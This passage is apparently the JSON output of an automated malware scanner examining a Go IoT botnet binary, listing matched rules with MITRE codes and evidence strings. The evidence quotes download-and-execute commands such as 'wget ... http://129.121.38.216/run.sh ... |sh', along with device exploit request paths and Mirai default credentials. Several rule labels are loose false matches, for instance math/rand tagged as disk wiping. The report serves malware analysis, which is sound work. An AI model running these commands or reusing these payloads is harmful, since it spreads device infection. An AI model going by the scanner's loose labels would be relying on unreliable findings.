"l": 1 }, { "c": 0.699999988079071, "d": "Go socksUsernamePassword string", "e": [ "net/http.(*socksUsernamePassword).Authenticate (contains: socksUsernamePassword)", "*http.socksUsernamePassword (contains: socksUsernamePassword)", "net/http.(*socksUsernamePassword).Authenticate-fm (contains: socksUsernamePassword)", "type:.eq.net/http.socksUsernamePassword (contains: socksUsernamePassword)", "4*struct { F uintptr; R *http.socksUsernamePassword } (contains: socksUsernamePassword)" ], "i": "objectives/command-and-control/channel/tunnel/proxy::go-socks-auth", "l": 1 }, { "c": 1.0, "d": "Binary has low average complexity", "e": [ "binary.avg_complexity = 9.41" ], "i": "metadata/binary/metrics::avg-complexity-15-max", "l": 2 }, { "a": "T1071.001", "d": "HTTP multipart form-data header", "e": [ "Content-Disposition: form-data; name=\"config\" (contains: Content-Disposition: form-data)" ], "i": "micro-behaviors/communications/http/headers::form-data-header", "l": 2, "m": "C0002" }, { "c": 1.0, "d": "/dev/null (legitimate discard device)", "e": [ "time.nist.gov\u0026wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://1 (contains: /dev/null)", "Host: time: Stop called on uninitialized Timerhttp2: timeout awaiting response h (contains: /dev/null)", "Authorization: Basic cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.21 (contains: /dev/null)", " closed, unable to open /dev/null, errno= (contains: /dev/null)", "wget -O- http://129.121.38.216/run 2\u003e/dev/null|sh;curl -s http://129.121.38.216/ (contains: /dev/null)", "cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.216/run.sh -O- 2\u003e/dev/n (contains: /dev/null)" ], "i": "micro-behaviors/fs/path/device::dev-null", "l": 2 }, { "c": 0.75, "d": "Use crypto rand reader", "e": [ "crypto/rand.(*reader).Read" ], "i": "micro-behaviors/os/random/crypto::go-crypto-rand-reader", "l": 2 }, { "c": 0.4000000059604645, "d": "Password getter or checker", "e": [ "get_password", "get_password" ], "i": "objectives/evasion/kernel-hide/ebpf::password-string-op", "l": 3 }, { "c": 0.8999999761581421, "d": "ELF has 500 or more strings", "e": [ "binary.string_count = 21552.00" ], "i": "metadata/binary/metrics::firmware-string-count-500-plus", "l": 1 }, { "c": 1.0, "d": "Go-compiled binary (identified by .gopclntab section)", "e": [ ".gopclntab" ], "i": "metadata/lang/compiler/systems::go-binary", "l": 2 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "HTTP request-line literal", "e": [ "GET / HTTP/1.1" ], "i": "objectives/command-and-control/channel/http/protocol::http-request-line", "l": 1 }, { "c": 0.699999988079071, "d": "Go socksAddr string", "e": [ "net/http.(*socksAddr).Network (contains: socksAddr)", "go:itab.*net/http.socksAddr,net.Addr (contains: socksAddr)", "net/http.(*socksAddr).String (contains: socksAddr)", "*http.socksAddr (contains: socksAddr)" ], "i": "objectives/command-and-control/channel/tunnel/proxy::go-socks-addr", "l": 1 }, { "a": "T1071", "c": 0.8500000238418579, "d": "net.DialUDP UDP connection", "e": [ "net.DialUDP" ], "i": "micro-behaviors/communications/socket::net-dial-udp", "l": 3, "m": "C0001" }, { "c": 0.30000001192092896, "d": "ICMP service/protocol reference", "e": [ "icmp" ], "i": "micro-behaviors/communications/ip/services::services-icmp", "l": 2 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go HTTP/2 frame types", "e": [ "http2DataFrame", "http2PingFrame", "http2GoAwayFrame", "http2SettingsFrame", "http2SettingsFrame", "http2SettingsFrame", "http2SettingsFrame", "http2SettingsFrame", "http2DataFrame", "http2GoAwayFrame", "http2DataFrame", "http2SettingsFrame", "http2PingFrame", "http2PingFrame", "http2GoAwayFrame", "http2GoAwayFrame" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-http2-frame-types", "l": 1 }, { "c": 1.0, "d": "scanner word", "e": [ "Scanner", "Scanner", "Scanner", "Scanner", "Scanner", "Scanner", "Scanner", "Scanner", "Scanner", "Scanner", "scanner", "scanner", "scanner", "scanner", "scanner", "scanner" ], "i": "objectives/impact/infect/marker::scanner-word", "l": 1 }, { "c": 0.699999988079071, "d": "Default credential guest:guest", "e": [ "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: guest:guest)", "guest:guest (contains: guest:guest)" ], "i": "objectives/lateral-movement/brute-force/ssh::guest-guest-cred", "l": 3 }, { "c": 0.8399999737739563, "d": "Large PE with under eighty imports", "e": [ "binary.import_count = 0.00" ], "i": "metadata/package/metrics::import-count-under-80", "l": 2 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "lighttpd web server", "e": [ "lighttpd" ], "i": "micro-behaviors/communications/http/server::lighttpd-keyword", "l": 2, "m": "C0002" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go TLS handshake internal types", "e": [ "HelloMsg", "HelloMsg", "clientHandshakeState", "HelloMsg", "HelloMsg", "HelloMsg", "HelloMsg", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState", "clientHandshakeState" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-tls-handshake-internals", "l": 1 }, { "a": "T1055", "c": 0.25, "d": "Repeated 0x07 code constant (possible PROT_RWX)", "e": [ "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00", "07 00 00 00" ], "i": "micro-behaviors/mem/protect/modify::rwx-prot-bytes", "l": 1 }, { "c": 0.949999988079071, "d": "MD5 hashing functions", "e": [ "crypto/md5.init.0", "crypto/md5.(*digest).Reset", "crypto/md5.(*digest).MarshalBinary", "crypto/md5.(*digest).UnmarshalBinary", "crypto/md5.New", "crypto/md5.(*digest).Size", "crypto/md5.(*digest).BlockSize", "crypto/md5.(*digest).Write", "crypto/md5.(*digest).Sum", "crypto/md5.(*digest).checkSum", "crypto/md5.Sum", "crypto/md5.block.abi0", "crypto/tls.md5SHA1Hash", "sym.crypto_md5.init.0", "sym.crypto_md5.__digest_.Reset", "sym.crypto_md5.__digest_.MarshalBinary" ], "i": "micro-behaviors/crypto/hash/digest::md5", "l": 2 }, { "a": "T1082", "c": 0.8500000238418579, "d": "os.Hostname() system hostname", "e": [ "os.Hostname" ], "i": "objectives/discovery/system::go-os-hostname", "l": 3, "m": "B0012" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go HTTP/2 transport internals", "e": [ "http2clientStream", "http2clientStream", "http2noDialClientConnPool", "http2clientStream", "http2clientStream", "http2clientStream", "http2clientStream", "http2clientStream", "http2clientStream", "http2clientStream", "http2clientStream", "http2noDialClientConnPool", "http2clientStream", "http2clientStream", "http2clientStream", "http2clientStream" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-http2-transport-internals", "l": 1 }, { "c": 0.6000000238418579, "d": "References to worker pools", "e": [ "WorkerPool" ], "i": "micro-behaviors/process/create/workers::worker-pool", "l": 2 }, { "a": "T1021.007", "c": 0.800000011920929, "d": "Telnet service targeting", "e": [ "telnetadmin", "telnetadmin" ], "i": "objectives/command-and-control/botnet/iot::telnet-target", "l": 4 }, { "c": 0.699999988079071, "d": "Go base64 encoding", "e": [ "AppendEncode", ".Encode", ".Encode", ".Encode", ".EncodeToString", ".EncodedLen", ".Encode", ".Encode", ".Encode", ".Encode", ".Encode", ".Encode", ".Encode", ".Encode", ".Encode", ".Encode" ], "i": "micro-behaviors/data/encode/base64::go-base64-encode", "l": 2 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Go cryptobyte ASN.1 core", "e": [ "ReadASN1Boolean", "ReadASN1Integer", "ReadASN1ObjectIdentifier", "ReadASN1BitString" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-cryptobyte-asn1-core", "l": 1 }, { "a": "T1071.001", "d": "boundary= parameter", "e": [ "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXp5bWpRzkkYV6A (contains: boundary=)" ], "i": "micro-behaviors/communications/http/headers::boundary-param", "l": 2, "m": "C0002" }, { "d": "certificate string reference", "e": [ "Certificate", "certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate", "Certificate" ], "i": "micro-behaviors/crypto/certificate/operations::certificate-ref", "l": 2 }, { "a": "T1027", "c": 0.800000011920929, "d": "Go proxy detection internal", "e": [ "isProxy (contains: isProxy)" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-proxy-is-proxy", "l": 1 }, { "c": 0.8999999761581421, "d": "ELF imports zero needed libraries", "e": [ "binary.dependency_count = 0.00" ], "i": "metadata/binary/linking::elf-needed-libs-zero", "l": 2 }, { "c": 0.699999988079071, "d": "Mozilla/5.0 User-Agent prefix", "e": [ "POST /utility/run_commands.sh HTTP/1.1\r\nCookie: hash=%s; exp=%s; name=%s\r\nConten (contains: Mozilla/5.0 ()", "Host: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like (contains: Mozilla/5.0 ()", "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, (contains: Mozilla/5.0 ()", "POST /utility/get_password_cookie.sh HTTP/1.1\r\nContent-type: application/x-www-f (contains: Mozilla/5.0 ()", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) (contains: Mozilla/5.0 ()" ], "i": "micro-behaviors/communications/http/user-agent::browser-mozilla-5-0", "l": 2 }, { "c": 0.8399999737739563, "d": "High basic block count in sparse binary", "e": [ "binary.total_basic_blocks = 102341.00" ], "i": "metadata/binary/metrics::dense-basic-blocks", "l": 1 }, { "c": 0.20000000298023224, "d": "crypto keyword (substr, catches imports)", "e": [ "crypto/internal/fips140/ecdsa (contains: crypto)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/crypto/internal/fips140deps/cpu/cpu.g (contains: crypto)", "crypto/ecdh.init.func4 (contains: crypto)", "crypto/ecdh.(*PrivateKey).ECDH (contains: crypto)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/crypto/cipher/cbc.go (contains: crypto)", "*func() crypto.PublicKey (contains: crypto)", "crypto/rsa: salt length cannot be negative (contains: crypto)", "*crypto.Hash (contains: crypto)", "cryptobyte: internal error (contains: crypto)", "crypto/aes (contains: crypto)", "crypto/internal/fips140/ecdh (contains: crypto)", "crypto/internal/fips140deps/byteorder.BEAppendUint32 (contains: crypto)", "crypto/ecdh.init.func5 (contains: crypto)", "*crypto.PublicKey (contains: crypto)", "crypto/rand (contains: crypto)", "crypto/ecdh.init.func6 (contains: crypto)" ], "i": "micro-behaviors/data/text/keywords::crypto-substr", "l": 1 }, { "d": "Binary exports symbols", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/symbols::has-exports", "l": 1 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go proxy connect header", "e": [ "ProxyConnectHeader (contains: ProxyConnectHeader)", "GetProxyConnectHeader (contains: ProxyConnectHeader)" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-proxy-connect-header", "l": 1 }, { "a": "T1071.001", "d": "Port 23 (telnet)", "e": [ ":23" ], "i": "objectives/command-and-control/infrastructure/ip::port-23", "l": 1, "m": "C0002" }, { "a": "T1071.001", "d": "HTTP header syntax marker", "e": [ "HTTP/1.1\r\nUser-Agent: " ], "i": "objectives/command-and-control/channel/http/protocol::http-delimiter", "l": 1 }, { "c": 0.699999988079071, "d": "References packetsSent counter (Go DDoS", "e": [ "packetsSent" ], "i": "objectives/impact/dos/attack::packets-sent", "l": 1 }, { "c": 1.0, "d": "Binary has 2000+ strings", "e": [ "binary.string_count = 21552.00" ], "i": "metadata/binary/metrics::many-strings-2000", "l": 1 }, { "a": "T1071.001", "d": "Basic authentication", "e": [ "Authorization: Basic", "Authenticate: Basic", "Authenticate: Basic", "Authorization: Basic", "Authorization: Basic", "Authorization: Basic", "Authorization: Basic", "Authenticate: Basic", "Authorization: Basic", "Authorization: Basic" ], "i": "micro-behaviors/communications/http/headers::basic-auth", "l": 3, "m": "C0002" }, { "d": "encoding/base64 package import", "e": [ "encoding/base64.Encoding.WithPadding (contains: encoding/base64)", "encoding/base64.assemble64 (contains: encoding/base64)", "encoding/base64.decodedLen (contains: encoding/base64)", "encoding/base64.URLEncoding (contains: encoding/base64)", "encoding/base64.(*Encoding).decodeQuantum (contains: encoding/base64)", "encoding/base64.(*Encoding).EncodeToString (contains: encoding/base64)", "encoding/base64..inittask (contains: encoding/base64)", "encoding/base64.(*Encoding).DecodedLen (contains: encoding/base64)", "encoding/base64.RawStdEncoding (contains: encoding/base64)", "encoding/base64.RawURLEncoding (contains: encoding/base64)", "encoding/base64.(*Encoding).Decode (contains: encoding/base64)", "type:.eq.encoding/base64.Encoding (contains: encoding/base64)", "encoding/base64.StdEncoding (contains: encoding/base64)", "encoding/base64.NewEncoding (contains: encoding/base64)", "encoding/base64.(*Encoding).EncodedLen (contains: encoding/base64)", "encoding/base64.init (contains: encoding/base64)" ], "i": "objectives/command-and-control/beacon::encoding-base64-import", "l": 1 }, { "c": 0.6000000238418579, "d": "x509 string reference", "e": [ "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509", "x509" ], "i": "micro-behaviors/crypto/certificate/operations::x509-string", "l": 2 }, { "a": "T1027.003", "c": 0.8999999761581421, "d": "JavaScript function keyword in non-code file", "e": [ "function btnPing(", "function btnPing(", "function btnPing(", "function BackToCamera(" ], "i": "objectives/anti-static/obfuscation/payload::js-function-in-noncode", "l": 1, "m": "B0032" }, { "a": "T1059.004", "c": 0.800000011920929, "d": "Terminal type linux identifier", "e": [ "linux" ], "i": "objectives/command-and-control/reverse-shell/pty::terminal-type-linux", "l": 1, "m": "B0024" }, { "a": "T1071.004", "c": 0.6600000262260437, "d": "Reads DNS resolver configuration", "e": [ "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: resolv.conf)", "/etc/resolv.conf (contains: resolv.conf)", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpect (contains: resolv.conf)" ], "i": "micro-behaviors/communications/dns/lookup::lookup-resolv", "l": 3, "m": "C0011" }, { "c": 0.75, "d": "HTTP/2 client connection preface", "e": [ "PRI * HTTP/2.0 (contains: PRI * HTTP/2.0)" ], "i": "micro-behaviors/communications/http/protocol::http2-preface", "l": 3 }, { "c": 0.8999999761581421, "d": "AES cipher constructor symbol", "e": [ "crypto/aes.NewCipher" ], "i": "micro-behaviors/crypto/symmetric/aes::go-new-cipher-symbol", "l": 3, "m": "C0021.001" }, { "c": 0.8999999761581421, "d": "Go runtime panic handler", "e": [ "runtime.gopanic" ], "i": "metadata/lang/compiler/systems::runtime-gopanic", "l": 2 }, { "c": 0.8999999761581421, "d": "Go ELF FIPS info section", "e": [ ".go.fipsinfo" ], "i": "metadata/lang/compiler/systems::go-fipsinfo-elf", "l": 2 }, { "d": "/etc directory reference", "e": [ "/etc" ], "i": "micro-behaviors/fs/path/system::etc-dir", "l": 2 }, { "c": 0.8500000238418579, "d": "Go net/http package", "e": [ "net/http.init", "net/http.init.func1", "net/http.init.func2", "net/http.init.func3", "net/http.init.func4", "net/http.init.func5", "net/http.init.func14", "net/http.init.func15", "net/http.map.init.0", "net/http.map.init.1", "net/http.map.init.2", "net/http.refererForURL", "net/http.(*Client).send", "net/http.(*Client).deadline", "net/http.send", "net/http.send.Printf.func2" ], "i": "metadata/lang/compiler/systems::net-http-pkg", "l": 2 }, { "c": 0.699999988079071, "d": "aes.NewCipher string in binary", "e": [ "crypto/aes.NewCipher (contains: aes.NewCipher)" ], "i": "micro-behaviors/crypto/symmetric/aes::go-new-cipher-string", "l": 3, "m": "C0021.001" }, { "c": 0.699999988079071, "d": "Detects loop/jump control transfer in assembly", "e": [ "loop ending" ], "i": "micro-behaviors/crypto/symmetric/xor::asm-loop-control-transfer", "l": 2 }, { "a": "T1071.001", "c": 0.550000011920929, "d": "Content-Length printf template", "e": [ "Content-Length: %d" ], "i": "micro-behaviors/communications/http/headers::content-length-template", "l": 2, "m": "C0002" }, { "c": 1.0, "d": "Binary file larger than 1MB", "e": [ "38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6" ], "i": "metadata/binary/metrics::large-binary-1mb", "l": 2 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Go cryptobyte ASN.1 types", "e": [ "ReadASN1GeneralizedTime", "ReadASN1UTCTime", "ReadASN1Element" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-cryptobyte-asn1-types", "l": 1 }, { "c": 0.699999988079071, "d": "Default credential user:user", "e": [ "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: user:user)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: user:user)" ], "i": "objectives/lateral-movement/brute-force/ssh::user-user-cred", "l": 3 }, { "c": 0.699999988079071, "d": "PEM end marker", "e": [ "-----END (contains: -----END)" ], "i": "micro-behaviors/crypto/certificate/operations::pem-end", "l": 2 }, { "a": "T1485", "c": 1.0, "d": "Go math/rand package", "e": [ "math/rand" ], "i": "objectives/impact/wipe/disk::go-math-rand", "l": 1 }, { "c": 0.75, "d": "Go time.Sleep delay call", "e": [ "time.Sleep" ], "i": "micro-behaviors/time/sleep/interval::go-time-sleep", "l": 2 }, { "d": "Bot.net keyword", "e": [ "BOTNET", "BOTNET" ], "i": "micro-behaviors/data/text/malware::bot-net-term", "l": 2 }, { "c": 0.699999988079071, "d": "Short -h help flag", "e": [ "-h+" ], "i": "metadata/package/help::usage-help", "l": 2 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go proxy connect response", "e": [ "OnProxyConnectResponse (contains: OnProxyConnectResponse)" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-proxy-connect-response", "l": 1 }, { "c": 0.8500000238418579, "d": "Go crypto/aes package", "e": [ "crypto/aes.KeySizeError.Error", "crypto/aes.NewCipher", "crypto/aes.(*KeySizeError).Error" ], "i": "metadata/lang/compiler/systems::crypto-aes-pkg", "l": 2 }, { "a": "T1110.001", "c": 0.800000011920929, "d": "Mirai credential variant (xc3511)", "e": [ "max=scav ptr ] = (trap:init ms, fault and tab= tag= top=[...], fp:GreekOtherc (contains: xc3511)", "xc3511 (contains: xc3511)" ], "i": "objectives/lateral-movement/brute-force/iot-creds::mirai-cred-xc3511", "l": 4 }, { "d": "Go runtime markers", "e": [ "runtime.main", "runtime.main.", "runtime.main.", "runtime.mstart", "runtime.goexit", "runtime.mstart.", "runtime.goexit." ], "i": "metadata/lang/compiled::go-runtime-marker", "l": 2 }, { "c": 0.8500000238418579, "d": "Go XOR stream operations", "e": [ "XORKeyStream", "XORKeyStream", "XORKeyStream", "XORKeyStream", "xorBytes", "XORKeyStream", "XORKeyStream", "xorBytes" ], "i": "objectives/command-and-control/backdoor/binary/capabilities::go-xor-encoding", "l": 1, "m": "B0030" }, { "a": "T1082", "c": 0.6499999761581421, "d": "Hostname in binary", "e": [ "Hostname", "Hostname", "Hostname" ], "i": "micro-behaviors/os/sysinfo/hostname::hostname-string-raw", "l": 1, "m": "E1082" }, { "a": "T1027", "c": 0.800000011920929, "d": "Go crypto/tls HandshakeContext internal type", "e": [ "HandshakeContext" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-tls-internal-handshakecontext", "l": 1 }, { "c": 0.800000011920929, "d": "System SSL certs path", "e": [ "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: /etc/ssl/certs)", "invalid Upgrade request header: %qinvalid nested repetition operatorinvalid or u (contains: /etc/ssl/certs)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /etc/ssl/certs)", "/etc/ssl/certs/ca-certificates.crt (contains: /etc/ssl/certs)", "/etc/ssl/certs (contains: /etc/ssl/certs)" ], "i": "micro-behaviors/crypto/certificate/operations::ssl-certs-path", "l": 2 }, { "c": 1.0, "d": "/tmp/ path component", "e": [ "/tmp//var//mnt//etc//dev/arch", "/tmp/malformed", "/var/tmp/stainfo", "/var/tmp/stainfo" ], "i": "micro-behaviors/fs/path/temp::tmp-path-content", "l": 2 }, { "c": 0.800000011920929, "d": "CA certificates reference", "e": [ "/etc/ssl/certs/ca-certificates.crt (contains: ca-certificates)", "invalid Upgrade request header: %qinvalid nested repetition operatorinvalid or u (contains: ca-certificates)" ], "i": "micro-behaviors/crypto/certificate/operations::ca-certificates", "l": 2 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "Header.Set string in binary", "e": [ "net/http.Header.Set (contains: net/http.Header.Set)" ], "i": "micro-behaviors/communications/http/lib/netlib::go-http-header-set-string", "l": 3, "m": "C0002" }, { "c": 0.8999999761581421, "d": "Go ELF build ID note", "e": [ ".note.go.buildid" ], "i": "metadata/lang/compiler/systems::go-note-buildid-elf", "l": 2 }, { "c": 1.0, "d": "Binary has 9+ exports", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/metrics::many-exports-9", "l": 1 }, { "a": "T1027.010", "d": "Hardcoded standard base64 alphabet", "e": [ "malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`tls: unexpected e (contains: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij" ], "i": "micro-behaviors/data/encode/base64::alphabet-standard", "l": 2, "m": "B0032.001" }, { "c": 0.699999988079071, "d": "Go bytes.Buffer I/O", "e": [ ".WriteTo", ".WriteTo", ".ReadFrom", ".WriteTo", ".WriteTo", ".ReadFrom", ".WriteTo", ".ReadFrom", ".WriteTo", ".WriteTo", ".WriteTo", ".WriteTo", ".ReadFrom", ".ReadFrom", ".ReadFrom", ".WriteTo" ], "i": "micro-behaviors/data/buffer::go-bytes-buffer-io", "l": 2 }, { "c": 0.699999988079071, "d": "PEM begin marker", "e": [ "-----BEGIN (contains: -----BEGIN)" ], "i": "micro-behaviors/crypto/certificate/operations::pem-begin", "l": 2 }, { "c": 1.0, "d": "Binary has 1000 or more strings", "e": [ "binary.string_count = 21552.00" ], "i": "metadata/binary/metrics::string-count-1000-plus", "l": 2 }, { "c": 0.800000011920929, "d": "Binary has many functions (\u003e30)", "e": [ "binary.function_count = 6228.00" ], "i": "metadata/binary/metrics::many-functions", "l": 2 }, { "c": 0.7799999713897705, "d": "/dev/shm shared memory path fragment", "e": [ "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: /dev/shm)", "Authorization: Basic cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.21 (contains: /dev/shm)", "Host: /dvr/cmdncorrectgargoyleGoCloud:/cmd.cgiauthkey=Telecom:command=Wavlink:Br (contains: /dev/shm)", "cd /tmp||cd /var/tmp||cd /dev/shm;wget http://129.121.38.216/run.sh -O- 2\u003e/dev/n (contains: /dev/shm)" ], "i": "micro-behaviors/fs/path/device::dev-shm-bare", "l": 2 }, { "c": 1.0, "d": ".encrypted extension", "e": [ "*tls.encryptedExtensionsMsg (contains: .encrypted)", "go:itab.*crypto/tls.encryptedExtensionsMsg,crypto/tls.handshakeMessage (contains: .encrypted)" ], "i": "objectives/impact/ransom/encrypt::ext-encrypted", "l": 1 }, { "c": 1.0, "d": "Binary is 500KB+", "e": [ "binary.file_size = 8864698.00" ], "i": "metadata/binary/metrics::large-binary-500k", "l": 1 }, { "c": 0.699999988079071, "d": "Unix /var/tmp/ path reference", "e": [ "../../../../../mnt/database/xml/Accounthttp2: Transport: cannot retry err [%v] a (contains: /var/tmp/)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: /var/tmp/)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: /var/tmp/)", "tls: received unexpected handshake message of type %T when waiting for %Ttls: in (contains: /var/tmp/)" ], "i": "micro-behaviors/fs/path/temp::unix-var-temp", "l": 2 }, { "a": "T1106", "c": 0.949999988079071, "d": "__vdso exported symbol string", "e": [ "__vdso_getrandomheap", "__vdso_getrandomheap", "__vdso_gettimeofdaycgocall", "__vdso_clock_gettimeclose", "__vdso_getrandom", "__vdso_gettimeofday", "__vdso_clock_gettime" ], "i": "objectives/evasion/anti-av/syscall::linux-vdso-symbol", "l": 1, "m": "B0009" }, { "c": 1.0, "d": "Makefile all target", "e": [ "exitsyscall: syscall frame is no longer valid (contains: all:)", "transitioning GC to the same state as before?produced a trigger greater than the (contains: all:)" ], "i": "metadata/build/make::all-target-assignment", "l": 1 }, { "a": "T1027", "c": 0.6000000238418579, "d": "Go crypto/tls CipherSuites internal type", "e": [ "CipherSuites" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-tls-internal-ciphersuites", "l": 1 }, { "c": 0.699999988079071, "d": "Go bytes.Buffer methods", "e": [ ".WriteString", ".WriteString", ".WriteString", ".WriteString", ".WriteByte", ".ReadByte", ".ReadByte", ".ReadByte", ".WriteString", ".WriteString", ".WriteString", ".WriteString", ".WriteByte", ".WriteString", ".ReadByte", ".WriteString" ], "i": "micro-behaviors/data/buffer::go-bytes-buffer-methods", "l": 2 }, { "c": 0.6000000238418579, "d": "TCP endpoint state error", "e": [ "transport endpoint is not connected", "transport endpoint is already connected", "transport endpoint is not connected", "transport endpoint is already connected" ], "i": "micro-behaviors/communications/socket/tcp::go-net-error-endpoint", "l": 2 }, { "a": "T1082", "c": 0.30000001192092896, "d": "arm architecture string", "e": [ "arm" ], "i": "micro-behaviors/os/sysinfo/platform/architecture::arch-arm-dup", "l": 2, "m": "E1082" }, { "c": 0.30000001192092896, "d": "zlib compression reference", "e": [ "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib", "zlib" ], "i": "micro-behaviors/dylib/library::zlib-ref", "l": 2 }, { "c": 0.800000011920929, "d": "Go crypto/cipher import", "e": [ "crypto/cipher.(*cbcDecrypter).BlockSize (contains: crypto/cipher)", "go:itab.*crypto/internal/fips140/aes/gcm.GCM,crypto/cipher.AEAD (contains: crypto/cipher)", "crypto/cipher..typeAssert.1 (contains: crypto/cipher)", "crypto/cipher.(*cbcEncrypter).BlockSize (contains: crypto/cipher)", "crypto/cipher..typeAssert.0 (contains: crypto/cipher)", "crypto/cipher.NewGCM (contains: crypto/cipher)", "2006-01-02 15:04:05.999999999 -0700 MSThttp: putIdleConn: keep alives disabledus (contains: crypto/cipher)", "/cpu/classes/total:cpu-seconds/gc/cycles/automatic:gc-cycles/sched/pauses/total/ (contains: crypto/cipher)", "crypto/cipher.newGCM (contains: crypto/cipher)", "crypto/cipher.(*cbcEncrypter).CryptBlocks (contains: crypto/cipher)", "crypto/cipher.(*gcmFallback).NonceSize (contains: crypto/cipher)", "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/ (contains: crypto/cipher)", "Host: Server: eCos Embedded Web Server: day-of-year does not match daygo package (contains: crypto/cipher)", "crypto/cipher: counter decreased (contains: crypto/cipher)", "go:itab.*crypto/cipher.cbcEncrypter,crypto/cipher.BlockMode (contains: crypto/cipher)", "crypto/cipher: internal error: generic CBC used with AES (contains: crypto/cipher)" ], "i": "objectives/impact/ransom/encrypt::go-crypto-cipher", "l": 1 }, { "c": 1.0, "d": "Binary has 50+ functions", "e": [ "binary.function_count = 6228.00" ], "i": "metadata/binary/metrics::many-functions-50", "l": 1 }, { "c": 0.949999988079071, "d": "SHA512 hashing functions", "e": [ "crypto/sha512.init.0", "crypto/sha512.New", "crypto/sha512.New512_224", "crypto/sha512.New512_256", "crypto/sha512.New384", "crypto/internal/fips140/sha512.init", "crypto/internal/fips140/sha512.init.0", "crypto/internal/fips140/sha512.(*Digest).Reset", "crypto/internal/fips140/sha512.(*Digest).MarshalBinary", "crypto/internal/fips140/sha512.(*Digest).AppendBinary", "crypto/internal/fips140/sha512.(*Digest).UnmarshalBinary", "crypto/internal/fips140/sha512.New", "crypto/internal/fips140/sha512.(*Digest).Size", "crypto/internal/fips140/sha512.(*Digest).BlockSize", "crypto/internal/fips140/sha512.(*Digest).Write", "crypto/internal/fips140/sha512.(*Digest).Sum" ], "i": "micro-behaviors/crypto/hash/digest::sha512", "l": 3 }, { "d": "Set-Cookie header", "e": [ "Set-Cookie: SESSION= (contains: Set-Cookie:)", "Set-Cookie: loginName=admin (contains: Set-Cookie:)", "Set-Cookie:hash= (contains: Set-Cookie:)", "Cookie: x=1; SSID=page=sysCMD\u0026command=Set-Cookie: SESSION=/cgi-bin/wledctl.cgiSe (contains: Set-Cookie:)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: Set-Cookie:)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: Set-Cookie:)", "Set-Cookie:exp= (contains: Set-Cookie:)", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpect (contains: Set-Cookie:)", "User-Agent: BOXOFABOX: applet not foundSet-Cookie: loginName=adminBasic realm=\"S (contains: Set-Cookie:)", "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: Set-Cookie:)" ], "i": "micro-behaviors/communications/http/cookies::set-cookie-header", "l": 2 }, { "c": 0.800000011920929, "d": "Go crypto/rsa import", "e": [ "/opt/homebrew/Cellar/go/1.25.6/libexec/src/crypto/rsa/fips.go (contains: crypto/rsa)", "crypto/rsa: public modulus is even (contains: 